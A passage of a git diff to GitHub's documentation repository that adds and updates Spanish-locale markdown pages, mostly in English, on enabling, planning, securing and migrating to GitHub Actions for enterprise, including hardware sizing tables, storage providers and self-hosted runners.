your enterprise](/admin/github-actions/enforcing-github-actions-policies-for-your-enterprise)." + +## Adding runners + +To run {% data variables.product.prodname_actions %} workflows, you need to use runners. {% data reusables.actions.about-runners %} If you use {% data variables.product.company_short %}-hosted runners, you will be be billed based on consumption after exhausting the minutes included in {% data variables.product.product_name %}, while self-hosted runners are free. For more information, see "[About billing for {% data variables.product.prodname_actions %}](/billing/managing-billing-for-github-actions/about-billing-for-github-actions)." + +For more information, see "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners)." + +If you choose self-hosted runners, you can add runners at the enterprise, organization, or repository levels. For more information, see "[Adding self-hosted runners](/actions/hosting-your-own-runners/adding-self-hosted-runners)" + +{% data reusables.actions.general-security-hardening %} \ No newline at end of file diff --git a/translations/es-ES/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-enterprise-server.md b/translations/es-ES/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-enterprise-server.md new file mode 100644 index 0000000000..cdddcb3c87 --- /dev/null +++ b/translations/es-ES/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-enterprise-server.md @@ -0,0 +1,151 @@ +--- +title: Getting started with GitHub Actions for GitHub Enterprise Server +shortTitle: Get started +intro: 'Learn about enabling and configuring {% data variables.product.prodname_actions %} on {% data variables.product.prodname_ghe_server %} for the first time.' +permissions: 'Site administrators can enable {% data variables.product.prodname_actions %} and configure enterprise settings.' +redirect_from: + - /enterprise/admin/github-actions/enabling-github-actions-and-configuring-storage + - /admin/github-actions/enabling-github-actions-and-configuring-storage + - /admin/github-actions/getting-started-with-github-actions-for-github-enterprise-server + - /admin/github-actions/enabling-github-actions-for-github-enterprise-server/getting-started-with-github-actions-for-github-enterprise-server +versions: + ghes: '*' +type: how_to +topics: + - Actions + - Enterprise +--- +{% data reusables.actions.enterprise-beta %} + +{% data reusables.actions.enterprise-github-hosted-runners %} + +## About {% data variables.product.prodname_actions %} on {% data variables.product.prodname_ghe_server %} + +This article explains how site administrators can configure {% data variables.product.prodname_ghe_server %} to use {% data variables.product.prodname_actions %}. + +{% data variables.product.prodname_actions %} is not enabled for {% data variables.product.prodname_ghe_server %} by default. You'll need to determine whether your instance has adequate CPU and memory resources to handle the load from {% data variables.product.prodname_actions %} without causing performance loss, and possibly increase those resources. You'll also need to decide which storage provider you'll use for the blob storage required to store artifacts generated by workflow runs. Then, you'll enable {% data variables.product.prodname_actions %} for your enterprise, manage access permissions, and add self-hosted runners to run workflows. + +{% data reusables.actions.introducing-enterprise %} + +{% data reusables.actions.migrating-enterprise %} + +## Review hardware considerations + +{% ifversion ghes = 3.0 %} + +{% note %} + +**Note**: If you're upgrading an existing {% data variables.product.prodname_ghe_server %} instance to 3.0 or later and want to configure {% data variables.product.prodname_actions %}, note that the minimum hardware requirements have increased. For more information, see "[Upgrading {% data variables.product.prodname_ghe_server %}](/admin/enterprise-management/upgrading-github-enterprise-server#about-minimum-requirements-for-github-enterprise-server-30-and-later)." + +{% endnote %} + +{% endif %} + +{%- ifversion ghes < 3.2 %} + +The CPU and memory resources available to {% data variables.product.product_location %} determine the maximum job throughput for {% data variables.product.prodname_actions %}. + +Internal testing at {% data variables.product.company_short %} demonstrated the following maximum throughput for {% data variables.product.prodname_ghe_server %} instances with a range of CPU and memory configurations. You may see different throughput depending on the overall levels of activity on your instance. + +{%- endif %} + +{%- ifversion ghes > 3.1 %} + +The CPU and memory resources available to {% data variables.product.product_location %} determine the number of jobs that can be run concurrently without performance loss. + +The peak quantity of concurrent jobs running without performance loss depends on such factors as job duration, artifact usage, number of repositories running Actions, and how much other work your instance is doing not related to Actions. Internal testing at GitHub demonstrated the following performance targets for GitHub Enterprise Server on a range of CPU and memory configurations: + +{% endif %} + +{%- ifversion ghes < 3.2 %} + +| vCPUs | Memory | Maximum job throughput | +| :--- | :--- | :--- | +| 4 | 32 GB | Demo or light testing | +| 8 | 64 GB | 25 jobs | +| 16 | 160 GB | 35 jobs | +| 32 | 256 GB | 100 jobs | + +{%- endif %} + +{%- ifversion ghes > 3.1 %} + +| vCPUs | Memory | Maximum Concurrency*| +| :--- | :--- | :--- | +| 32 | 128 GB | 1500 jobs | +| 64 | 256 GB | 1900 jobs | +| 96 | 384 GB | 2200 jobs | + +*Maximum concurrency was measured using multiple repositories, job duration of approximately 10 minutes, and 10 MB artifact uploads. You may experience different performance depending on the overall levels of activity on your instance. + +{%- endif %} + +If you plan to enable {% data variables.product.prodname_actions %} for the users of an existing instance, review the levels of activity for users and automations on the instance and ensure that you have provisioned adequate CPU and memory for your users. For more information about monitoring the capacity and performance of {% data variables.product.prodname_ghe_server %}, see "[Monitoring your appliance](/admin/enterprise-management/monitoring-your-appliance)." + +For more information about minimum hardware requirements for {% data variables.product.product_location %}, see the hardware considerations for your instance's platform. + +- [AWS](/admin/installation/installing-github-enterprise-server-on-aws#hardware-considerations) +- [Azure](/admin/installation/installing-github-enterprise-server-on-azure#hardware-considerations) +- [Google Cloud Platform](/admin/installation/installing-github-enterprise-server-on-google-cloud-platform#hardware-considerations) +- [Hyper-V](/admin/installation/installing-github-enterprise-server-on-hyper-v#hardware-considerations) +- [OpenStack KVM](/admin/installation/installing-github-enterprise-server-on-openstack-kvm#hardware-considerations) +- [VMware](/admin/installation/installing-github-enterprise-server-on-vmware#hardware-considerations){% ifversion ghes < 3.3 %} +- [XenServer](/admin/installation/installing-github-enterprise-server-on-xenserver#hardware-considerations){% endif %} + +{% data reusables.enterprise_installation.about-adjusting-resources %} + +## External storage requirements + +To enable {% data variables.product.prodname_actions %} on {% data variables.product.prodname_ghe_server %}, you must have access to external blob storage. + +{% data variables.product.prodname_actions %} uses blob storage to store artifacts generated by workflow runs, such as workflow logs and user-uploaded build artifacts. The amount of storage required depends on your usage of {% data variables.product.prodname_actions %}. Only a single external storage configuration is supported, and you can't use multiple storage providers at the same time. + +{% data variables.product.prodname_actions %} supports these storage providers: + +* Azure Blob storage +* Amazon S3 +* S3-compatible MinIO Gateway for NAS + +{% note %} + +**Note:** These are the only storage providers that {% data variables.product.company_short %} supports and can provide assistance with. Other S3 API-compatible storage providers are unlikely to work due to differences from the S3 API. [Contact us](https://support.github.com/contact) to request support for additional storage providers. + +{% endnote %} + +## Networking considerations + +{% data reusables.actions.proxy-considerations %} For more information about using a proxy with {% data variables.product.prodname_ghe_server %}, see "[Configuring an outbound web proxy server](/admin/configuration/configuring-network-settings/configuring-an-outbound-web-proxy-server)." + +{% ifversion ghes %} + +## Enabling {% data variables.product.prodname_actions %} with your storage provider + +Follow one of the procedures below to enable {% data variables.product.prodname_actions %} with your chosen storage provider: + +* [Enabling GitHub Actions with Azure Blob storage](/admin/github-actions/enabling-github-actions-with-azure-blob-storage) +* [Enabling GitHub Actions with Amazon S3 storage](/admin/github-actions/enabling-github-actions-with-amazon-s3-storage) +* [Enabling GitHub Actions with MinIO Gateway for NAS storage](/admin/github-actions/enabling-github-actions-with-minio-gateway-for-nas-storage) + +## Managing access permissions for {% data variables.product.prodname_actions %} in your enterprise + +You can use policies to manage access to {% data variables.product.prodname_actions %}. For more information, see "[Enforcing GitHub Actions policies for your enterprise](/admin/github-actions/enforcing-github-actions-policies-for-your-enterprise)." + +## Adding self-hosted runners + +{% data reusables.actions.enterprise-github-hosted-runners %} + +To run {% data variables.product.prodname_actions %} workflows, you need to add self-hosted runners. You can add self-hosted runners at the enterprise, organization, or repository levels. For more information, see "[Adding self-hosted runners](/actions/hosting-your-own-runners/adding-self-hosted-runners)." + +## Managing which actions can be used in your enterprise + +You can control which actions your users are allowed to use in your enterprise. This includes setting up {% data variables.product.prodname_github_connect %} for automatic access to actions from {% data variables.product.prodname_dotcom_the_website %}, or manually syncing actions from {% data variables.product.prodname_dotcom_the_website %}. + +For more information, see "[About using actions in your enterprise](/admin/github-actions/about-using-actions-in-your-enterprise)." + +{% data reusables.actions.general-security-hardening %} + +{% endif %} + +## Reserved Names + +When you enable {% data variables.product.prodname_actions %} for your enterprise, two organizations are created: `github` and `actions`. If your enterprise already uses the `github` organization name, `github-org` (or `github-github-org` if `github-org` is also in use) will be used instead. If your enterprise already uses the `actions` organization name, `github-actions` (or `github-actions-org` if `github-actions` is also in use) will be used instead. Once actions is enabled, you won't be able to use these names anymore. diff --git a/translations/es-ES/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/index.md b/translations/es-ES/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/index.md new file mode 100644 index 0000000000..7a7069a145 --- /dev/null +++ b/translations/es-ES/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/index.md @@ -0,0 +1,19 @@ +--- +title: Getting started with GitHub Actions for your enterprise +intro: "Learn how to adopt {% data variables.product.prodname_actions %} for your enterprise." +versions: + ghec: '*' + ghes: '*' + ghae: '*' +topics: + - Enterprise + - Actions +children: + - /introducing-github-actions-to-your-enterprise + - /migrating-your-enterprise-to-github-actions + - /getting-started-with-github-actions-for-github-enterprise-cloud + - /getting-started-with-github-actions-for-github-enterprise-server + - /getting-started-with-github-actions-for-github-ae +shortTitle: Get started +--- + diff --git a/translations/es-ES/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/introducing-github-actions-to-your-enterprise.md b/translations/es-ES/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/introducing-github-actions-to-your-enterprise.md new file mode 100644 index 0000000000..9d1e765d83 --- /dev/null +++ b/translations/es-ES/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/introducing-github-actions-to-your-enterprise.md @@ -0,0 +1,124 @@ +--- +title: Introducing GitHub Actions to your enterprise +shortTitle: Introduce Actions +intro: "You can plan how to roll out {% data variables.product.prodname_actions %} in your enterprise." +versions: + ghec: '*' + ghes: '*' + ghae: '*' +type: how_to +topics: + - Actions + - Enterprise +--- + +## About {% data variables.product.prodname_actions %} for enterprises + +{% data reusables.actions.about-actions %} With {% data variables.product.prodname_actions %}, your enterprise can automate, customize, and execute your software development workflows like testing and deployments. For more information about the basics of {% data variables.product.prodname_actions %}, see "[Understanding {% data variables.product.prodname_actions %}](/actions/learn-github-actions/understanding-github-actions)." + +![Diagram of jobs running on self-hosted runners](/assets/images/help/images/actions-enterprise-overview.png) + +Before you introduce {% data variables.product.prodname_actions %} to a large enterprise, you first need to plan your adoption and make decisions about how your enterprise will use {% data variables.product.prodname_actions %} to best support your unique needs. + +## Governance and compliance + +Your should create a plan to govern your enterprise's use of {% data variables.product.prodname_actions %} and meet your compliance obligations. + +Determine which actions your developers will be allowed to use. {% ifversion ghes %}First, decide whether you'll enable access to actions from outside your instance. {% data reusables.actions.access-actions-on-dotcom %} For more information, see "[About using actions in your enterprise](/admin/github-actions/managing-access-to-actions-from-githubcom/about-using-actions-in-your-enterprise)." + +Then,{% else %}First,{% endif %} decide whether you'll allow third-party actions that were not created by {% data variables.product.company_short %}. You can configure the actions that are allowed to run at the repository, organization, and enterprise levels and can choose to only allow actions that are created by {% data variables.product.company_short %}. If you do allow third-party actions, you can limit allowed actions to those created by verified creators or a list of specific actions. For more information, see "[Managing {% data variables.product.prodname_actions %} settings for a repository](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository#managing-github-actions-permissions-for-your-repository)", "[Disabling or limiting {% data variables.product.prodname_actions %} for your organization](/organizations/managing-organization-settings/disabling-or-limiting-github-actions-for-your-organization#managing-github-actions-permissions-for-your-organization)", and "[Enforcing policies for {% data variables.product.prodname_actions %} in your enterprise](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-actions-in-your-enterprise#enforcing-a-policy-to-restrict-the-use-of-actions-in-your-enterprise)." + +![Screenshot of {% data variables.product.prodname_actions %} policies](/assets/images/help/organizations/enterprise-actions-policy.png) + +{% ifversion ghec or ghae-issue-4757-and-5856 %} +Consider combining OpenID Connect (OIDC) with reusable workflows to enforce consistent deployments across your repository, organization, or enterprise. You can do this by defining trust conditions on cloud roles based on reusable workflows. For more information, see "[Using OpenID Connect with reusable workflows](/actions/deployment/security-hardening-your-deployments/using-openid-connect-with-reusable-workflows)." +{% endif %} + +You can access information about activity related to {% data variables.product.prodname_actions %} in the audit logs for your enterprise. If your business needs require retaining audit logs for longer than six months, plan how you'll export and store this data outside of {% data variables.product.prodname_dotcom %}. For more information, see {% ifversion ghec %}"[Streaming the audit logs for organizations in your enterprise](/admin/user-management/managing-organizations-in-your-enterprise/streaming-the-audit-logs-for-organizations-in-your-enterprise-account)."{% else %}"[Searching the audit log](/admin/user-management/monitoring-activity-in-your-enterprise/searching-the-audit-log)."{% endif %} + +![Audit log entries](/assets/images/help/repository/audit-log-entries.png) + +## Security + +You should plan your approach to security hardening for {% data variables.product.prodname_actions %}. + +### Security hardening individual workflows and repositories + +Make a plan to enforce good security practices for people using {% data variables.product.prodname_actions %} features within your enterprise. For more information about these practices, see "[Security hardening for {% data variables.product.prodname_actions %}](/actions/security-guides/security-hardening-for-github-actions)." + +You can also encourage reuse of workflows that have already been evaluated for security. For more information, see "[Innersourcing](#innersourcing)." + +### Securing access to secrets and deployment resources + +You should plan where you'll store your secrets. We recommend storing secrets in {% data variables.product.prodname_dotcom %}, but you might choose to store secrets in a cloud provider. + +In {% data variables.product.prodname_dotcom %}, you can store secrets at the repository or organization level. Secrets at the repository level can be limited to workflows in certain environments, such as production or testing. For more information, see "[Encrypted secrets](/actions/security-guides/encrypted-secrets)." + +![Screenshot of a list of secrets](/assets/images/help/settings/actions-org-secrets-list.png) +{% ifversion fpt or ghes > 3.0 or ghec or ghae %} +You should consider adding manual approval protection for sensitive environments, so that workflows must be approved before getting access to the environments' secrets. For more information, see "[Using environments for deployments](/actions/deployment/targeting-different-environments/using-environments-for-deployment)."{% endif %} + +### Security considerations for third-party actions + +There is significant risk in sourcing actions from third-party repositories on {% data variables.product.prodname_dotcom %}. If you do allow any third-party actions, you should create internal guidelines that enourage your team to follow best practices, such as pinning actions to the full commit SHA. For more information, see "[Using third-party actions](/actions/security-guides/security-hardening-for-github-actions#using-third-party-actions)." + +## Innersourcing + +Think about how your enterprise can use features of {% data variables.product.prodname_actions %} to innersource workflows. Innersourcing is a way to incorporate the benefits of open source methodologies into your internal software development cycle. For more information, see [An introduction to innersource](https://resources.github.com/whitepapers/introduction-to-innersource/) in {% data variables.product.company_short %} Resources. + +{% ifversion ghec or ghes > 3.3 or ghae-issue-4757 %} +With reusable workflows, your team can call one workflow from another workflow, avoiding exact duplication. Reusable workflows promote best practice by helping your team use workflows that are well designed and have already been tested. For more information, see "[Reusing workflows](/actions/learn-github-actions/reusing-workflows)." +{% endif %} + +To provide a starting place for developers building new workflows, you can use workflow templates. This not only saves time for your developers, but promotes consistency and best practice across your enterprise. For more information, see "[Creating workflow templates](/actions/learn-github-actions/creating-workflow-templates)." + +Whenever your workflow developers want to use an action that's stored in a private repository, they must configure the workflow to clone the repository first. To reduce the number of repositories that must be cloned, consider grouping commonly used actions in a single repository. For more information, see "[About custom actions](/actions/creating-actions/about-custom-actions#choosing-a-location-for-your-action)." + +## Managing resources + +You should plan for how you'll manage the resources required to use {% data variables.product.prodname_actions %}. + +### Runners + +{% data variables.product.prodname_actions %} workflows require runners.{% ifversion ghec %} You can choose to use {% data variables.product.prodname_dotcom %}-hosted runners or self-hosted runners. {% data variables.product.prodname_dotcom %}-hosted runners are convenient because they are managed by {% data variables.product.company_short %}, who handles maintenance and upgrades for you. However, you may want to consider self-hosted runners if you need to run a workflow that will access resources behind your firewall or you want more control over the resources, configuration, or geographic location of your runner machines. For more information, see "[About {% data variables.product.prodname_dotcom %}-hosted runners](/actions/using-github-hosted-runners/about-github-hosted-runners)" and "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners)."{% else %} You will need to host your own runners by installing the {% data variables.product.prodname_actions %} self-hosted runner application on your own machines. For more information, see "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners)."{% endif %} + +{% ifversion ghec %}If you are using self-hosted runners, you have to decide whether you want to use physical machines, virtual machines, or containers.{% else %}Decide whether you want to use physical machines, virtual machines, or containers for your self-hosted runners.{% endif %} Physical machines will retain remnants of previous jobs, and so will virtual machines unless you use a fresh image for each job or clean up the machines after each job run. If you choose containers, you should be aware that the runner auto-updating will shut down the container, which can cause workflows to fail. You should come up with a solution for this by preventing auto-updates or skipping the command to kill the container. + +You also have to decide where to add each runner. You can add a self-hosted runner to an individual repository, or you can make the runner available to an entire organization or your entire enterprise. Adding runners at the organization or enterprise levels allows sharing of runners, which might reduce the size of your runner infrastructure. You can use policies to limit access to self-hosted runners at the organization and enterprise levels by assigning groups of runners to specific repositories or organizations. For more information, see "[Adding self-hosted runners](/actions/hosting-your-own-runners/adding-self-hosted-runners)" and "[Managing access to self-hosted runners using groups](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups)." + +{% ifversion ghec or ghes > 3.2 %} +You should consider using autoscaling to automatically increase or decrease the number of available self-hosted runners. For more information, see "[Autoscaling with self-hosted runners](/actions/hosting-your-own-runners/autoscaling-with-self-hosted-runners)." +{% endif %} + +Finally, you should consider security hardening for self-hosted runners. For more information, see "[Security hardening for {% data variables.product.prodname_actions %}](/actions/security-guides/security-hardening-for-github-actions#hardening-for-self-hosted-runners)." + +### Storage + +{% data reusables.actions.about-artifacts %} For more information, see "[Storing workflow data as artifacts](/actions/advanced-guides/storing-workflow-data-as-artifacts)." + +![Screenshot of artifact](/assets/images/help/repository/passing-data-between-jobs-in-a-workflow-updated.png) + +{% ifversion ghes %} +You must configure external blob storage for these artifacts. Decide which supported storage provider your enterprise will use. For more information, see "[Getting started with {% data variables.product.prodname_actions %} for {% data variables.product.product_name %}](/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-enterprise-server#external-storage-requirements)." +{% endif %} + +{% data reusables.github-actions.artifact-log-retention-statement %} + +If you want to retain logs and artifacts longer than the upper limit you can configure in {% data variables.product.product_name %}, you'll have to plan how to export and store the data. + +{% ifversion ghec %} +Some storage is included in your subscription, but additional storage will affect your bill. You should plan for this cost. For more information, see "[About billing for {% data variables.product.prodname_actions %}](/billing/managing-billing-for-github-actions/about-billing-for-github-actions)." +{% endif %} + +## Tracking usage + +You should consider making a plan to track your enterprise's usage of {% data variables.product.prodname_actions %}, such as how often workflows are running, how many of those runs are passing and failing, and which repositories are using which workflows. + +{% ifversion ghec %} +You can see basic details of storage and data transfer usage of {% data variables.product.prodname_actions %} for each organization in your enterprise via your billing settings. For more information, see "[Viewing your {% data variables.product.prodname_actions %} usage](/billing/managing-billing-for-github-actions/viewing-your-github-actions-usage#viewing-github-actions-usage-for-your-enterprise-account)." + +For more detailed usage data, you{% else %}You{% endif %} can use webhooks to subscribe to information about workflow jobs and workflow runs. For more information, see "[About webhooks](/developers/webhooks-and-events/webhooks/about-webhooks)." + +Make a plan for how your enterprise can pass the information from these webhooks into a data archiving system. You can consider using "CEDAR.GitHub.Collector", an open source tool that collects and processes webhook data from {% data variables.product.prodname_dotcom %}. For more information, see the [`Microsoft/CEDAR.GitHub.Collector` repository](https://github.com/microsoft/CEDAR.GitHub.Collector/). + +You should also plan how you'll enable your teams to get the data they need from your archiving system. diff --git a/translations/es-ES/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/migrating-your-enterprise-to-github-actions.md b/translations/es-ES/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/migrating-your-enterprise-to-github-actions.md new file mode 100644 index 0000000000..2936f4d27f --- /dev/null +++ b/translations/es-ES/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/migrating-your-enterprise-to-github-actions.md @@ -0,0 +1,87 @@ +--- +title: Migrating your enterprise to GitHub Actions +shortTitle: Migrate to Actions +intro: "Learn how to plan a migration to {% data variables.product.prodname_actions %} for your enterprise from another provider." +versions: + ghec: '*' + ghes: '*' + ghae: '*' +type: how_to +topics: + - Actions + - Enterprise +--- + +## About enterprise migrations to {% data variables.product.prodname_actions %} + +To migrate your enterprise to {% data variables.product.prodname_actions %} from an existing system, you can plan the migration, complete the migration, and retire existing systems. + +This guide addresses specific considerations for migrations. For additional information about introducing {% data variables.product.prodname_actions %} to your enterprise, see "[Introducing {% data variables.product.prodname_actions %} to your enterprise](/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/introducing-github-actions-to-your-enterprise)." + +## Planning your migration + +Before you begin migrating your enterprise to {% data variables.product.prodname_actions %}, you should identify which workflows will be migrated and how those migrations will affect your teams, then plan how and when you will complete the migrations. + +### Leveraging migration specialists + +{% data variables.product.company_short %} can help with your migration, and you may also benefit from purchasing {% data variables.product.prodname_professional_services %}. For more information, contact your dedicated representative or {% data variables.contact.contact_enterprise_sales %}. + +### Identifying and inventorying migration targets + +Before you can migrate to {% data variables.product.prodname_actions %}, you need to have a complete understanding of the workflows being used by your enterprise in your existing system. + +First, create an inventory of the existing build and release workflows within your enterprise, gathering information about which workflows are being actively used and need to migrated and which can be left behind. + +Next, learn the differences between your current provider and {% data variables.product.prodname_actions %}. This will help you assess any difficulties in migrating each workflow, and where your enterprise might experience differences in features. For more information, see "[Migrating to {% data variables.product.prodname_actions %}](/actions/migrating-to-github-actions)." + +With this information, you'll be able to determine which workflows you can and want to migrate to {% data variables.product.prodname_actions %}. + +### Determine team impacts from migrations + +When you change the tools being used within your enterprise, you influence how your team works. You'll need to consider how moving a workflow from your existing systems to {% data variables.product.prodname_actions %} will affect your developers' day-to-day work. + +Identify any processes, integrations, and third-party tools that will be affected by your migration, and make a plan for any updates you'll need to make. + +Consider how the migration may affect your compliance concerns. For example, will your existing credential scanning and security analysis tools work with {% data variables.product.prodname_actions %}, or will you need to use new tools? + +Identify the gates and checks in your existing system and verify that you can implement them with {% data variables.product.prodname_actions %}. + +### Identifying and validating migration tools + +Automated migration tools can translate your enterprise's workflows from the existing system's syntax to the syntax required by {% data variables.product.prodname_actions %}. Identify third-party tooling or contact your dedicated representative or {% data variables.contact.contact_enterprise_sales %} to ask about tools that {% data variables.product.company_short %} can provide. + +After you've identified a tool to automate your migrations, validate the tool by running the tool on some test workflows and verifying that the results are as expected. + +Automated tooling should be able to migrate the majority of your workflows, but you'll likely need to manually rewrite at least a small percentage. Estimate the amount of manual work you'll need to complete. + +### Deciding on a migration approach + +Determine the migration approach that will work best for your enterprise. Smaller teams may be able to migrate all their workflows at once, with a "rip-and-replace" approach. For larger enterprises, an iterative approach may be more realistic. You can choose to have a central body manage the entire migration or you can ask individual teams to self serve by migrating their own workflows. + +We recommend an iterative approach that combines active management with self service. Start with a small group of early adopters that can act as your internal champions. Identify a handful of workflows that are comprehensive enough to represent the breadth of your business. Work with your early adopters to migrate those workflows to {% data variables.product.prodname_actions %}, iterating as needed. This will give other teams confidence that their workflows can be migrated, too. + +Then, make {% data variables.product.prodname_actions %} available to your larger organization. Provide resources to help these teams migrate their own workflows to {% data variables.product.prodname_actions %}, and inform the teams when the existing systems will be retired. + +Finally, inform any teams that are still using your old systems to complete their migrations within a specific timeframe. You can point to the successes of other teams to reassure them that migration is possible and desirable. + +### Defining your migration schedule + +After you decide on a migration approach, build a schedule that outlines when each of your teams will migrate their workflows to {% data variables.product.prodname_actions %}. + +First, decide the date you'd like your migration to be complete. For example, you can plan to complete your migration by the time your contract with your current provider ends. + +Then, work with your teams to create a schedule that meets your deadline without sacrificing their team goals. Look at your business's cadence and the workload of each individual team you're asking to migrate. Coordinate with each team to understand their delivery schedules and create a plan that allows the team to migrate their workflows at a time that won't impact their ability to deliver. + +## Migrating to {% data variables.product.prodname_actions %} + +When you're ready to start your migration, translate your existing workflows to {% data variables.product.prodname_actions %} using the automated tooling and manual rewriting you planned for above. + +You may also want to maintain old build artifacts from your existing system, perhaps by writing a scripted process to archive the artifacts. + +## Retiring existing systems + +After your migration is complete, you can think about retiring your existing system. + +You may want to run both systems side-by-side for some period of time, while you verify that your {% data variables.product.prodname_actions %} configuration is stable, with no degradation of experience for developers. + +Eventually, decommission and shut off the old systems, and ensure that no one within your enterprise can turn the old systems back on. diff --git a/translations/es-ES/content/admin/github-actions/managing-access-to-actions-from-githubcom/about-using-actions-in-your-enterprise.md b/translations/es-ES/content/admin/github-actions/managing-access-to-actions-from-githubcom/about-using-actions-in-your-enterprise.md index 17d2bd3229..c04ba00eea 100644 --- a/translations/es-ES/content/admin/github-actions/managing-access-to-actions-from-githubcom/about-using-actions-in-your-enterprise.md +++ b/translations/es-ES/content/admin/github-actions/managing-access-to-actions-from-githubcom/about-using-actions-in-your-enterprise.md @@ -1,6 +1,6 @@ --- -title: Acerca de utilizar las acciones en tu empresa -intro: '{% data variables.product.product_name %} incluye la mayoría de las acciones de autoría de {% data variables.product.prodname_dotcom %}, y tiene opciones para habilitar el acceso a otras acciones de {% data variables.product.prodname_dotcom_the_website %} y de {% data variables.product.prodname_marketplace %}.' +title: About using actions in your enterprise +intro: '{% data variables.product.product_name %} includes most {% data variables.product.prodname_dotcom %}-authored actions, and has options for enabling access to other actions from {% data variables.product.prodname_dotcom_the_website %} and {% data variables.product.prodname_marketplace %}.' redirect_from: - /enterprise/admin/github-actions/about-using-githubcom-actions-on-github-enterprise-server - /admin/github-actions/about-using-githubcom-actions-on-github-enterprise-server @@ -13,35 +13,35 @@ type: overview topics: - Actions - Enterprise -shortTitle: Agregar acciones en tu empresa +shortTitle: Add actions in your enterprise --- {% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} {% data reusables.actions.ae-beta %} -Los flujos de trabajo de {% data variables.product.prodname_actions %} pueden utilizar _acciones_, las cuales son tareas individuales que puedes combinar para crear jobs y personalizar tu flujo de trabajo. Puedes crear tus propias acciones, o utilizar y personalizar a quellas que comparte la comunidad de {% data variables.product.prodname_dotcom %}. +{% data variables.product.prodname_actions %} workflows can use _actions_, which are individual tasks that you can combine to create jobs and customize your workflow. You can create your own actions, or use and customize actions shared by the {% data variables.product.prodname_dotcom %} community. {% data reusables.actions.enterprise-no-internet-actions %} -## Acciones oficiales que se incluyen en tu instancia empresarial +## Official actions bundled with your enterprise instance -La mayoría de las acciones oficiales de autoría de {% data variables.product.prodname_dotcom %} se agrupan automáticamente con {% data variables.product.product_name %} y se capturan en un punto en el tiempo desde {% data variables.product.prodname_marketplace %}. +{% data reusables.actions.actions-bundled-with-ghes %} -Las acciones agrupadas oficiales incluyen a `actions/checkout`, `actions/upload-artifact`, `actions/download-artifact`, `actions/labeler`, y varias acciones de `actions/setup-`, entre otras. Para ver todas las acciones oficiales que se incluyen en tu instancia empresarial, navega hasta la organización `actions` en tu instancia: https://HOSTNAME/actions. +The bundled official actions include `actions/checkout`, `actions/upload-artifact`, `actions/download-artifact`, `actions/labeler`, and various `actions/setup-` actions, among others. To see all the official actions included on your enterprise instance, browse to the `actions` organization on your instance: https://HOSTNAME/actions. -Cada acción es un repositorio en la organización `actions` y cada repositorio de acción incluye las etiquetas, ramas y SHA de confirmación necesarios que tu flujo de trabajo puede utilizar para referenciar la acción. Para obtener más información sobre cómo actualizar las acciones oficiales empaquetadas, consulta la sección "[Utilizar la versión más reciente de las acciones oficiales incluídas](/admin/github-actions/using-the-latest-version-of-the-official-bundled-actions)". +Each action is a repository in the `actions` organization, and each action repository includes the necessary tags, branches, and commit SHAs that your workflows can use to reference the action. For information on how to update the bundled official actions, see "[Using the latest version of the official bundled actions](/admin/github-actions/using-the-latest-version-of-the-official-bundled-actions)." {% note %} -**Nota:** Cuando utilices acciones de configuración (tales como `actions/setup-LANGUAGE`) en {% data variables.product.product_name %} con ejecutores auto-hospedados, podrías necesitar configurar el caché de las herramientas en los ejecutores que no tengan acceso a internet. Para obtener más información, consulta la sección "[ Configurar el caché de herramientas en ejecutores auto-hospedados sin acceso a internet](/enterprise/admin/github-actions/setting-up-the-tool-cache-on-self-hosted-runners-without-internet-access)". +**Note:** When using setup actions (such as `actions/setup-LANGUAGE`) on {% data variables.product.product_name %} with self-hosted runners, you might need to set up the tools cache on runners that do not have internet access. For more information, see "[Setting up the tool cache on self-hosted runners without internet access](/enterprise/admin/github-actions/setting-up-the-tool-cache-on-self-hosted-runners-without-internet-access)." {% endnote %} -## Configurar el acceso a las acciones en {% data variables.product.prodname_dotcom_the_website %} +## Configuring access to actions on {% data variables.product.prodname_dotcom_the_website %} -Si los usuarios de tu empresa necesitan acceso a otras acciones desde {% data variables.product.prodname_dotcom_the_website %} o {% data variables.product.prodname_marketplace %}, hay algunas cuantas opciones de configuración. +{% data reusables.actions.access-actions-on-dotcom %} -El acercamiento recomendado es habilitar el acceso automático a todas las acciones desde {% data variables.product.prodname_dotcom_the_website %}. Puedes hacer esto si utilizas {% data variables.product.prodname_github_connect %} para integrar a {% data variables.product.product_name %} con {% data variables.product.prodname_ghe_cloud %}. Para obtener más información, consulta la sección "[Habilitar el acceso automático a las acciones de {% data variables.product.prodname_dotcom_the_website %} utilizando {% data variables.product.prodname_github_connect %}](/enterprise/admin/github-actions/enabling-automatic-access-to-githubcom-actions-using-github-connect)". {% data reusables.actions.enterprise-limit-actions-use %} +The recommended approach is to enable automatic access to all actions from {% data variables.product.prodname_dotcom_the_website %}. You can do this by using {% data variables.product.prodname_github_connect %} to integrate {% data variables.product.product_name %} with {% data variables.product.prodname_ghe_cloud %}. For more information, see "[Enabling automatic access to {% data variables.product.prodname_dotcom_the_website %} actions using {% data variables.product.prodname_github_connect %}](/enterprise/admin/github-actions/enabling-automatic-access-to-githubcom-actions-using-github-connect)". {% data reusables.actions.enterprise-limit-actions-use %} -Como alternativa, si quieres tener un control más estricto sobre qué acciones se permiten en tu empresa, puedes descargar y sincronizar las acciones manualmente en tu instancia empresarial utilizando la herramienta `actions-sync`. Para obtener 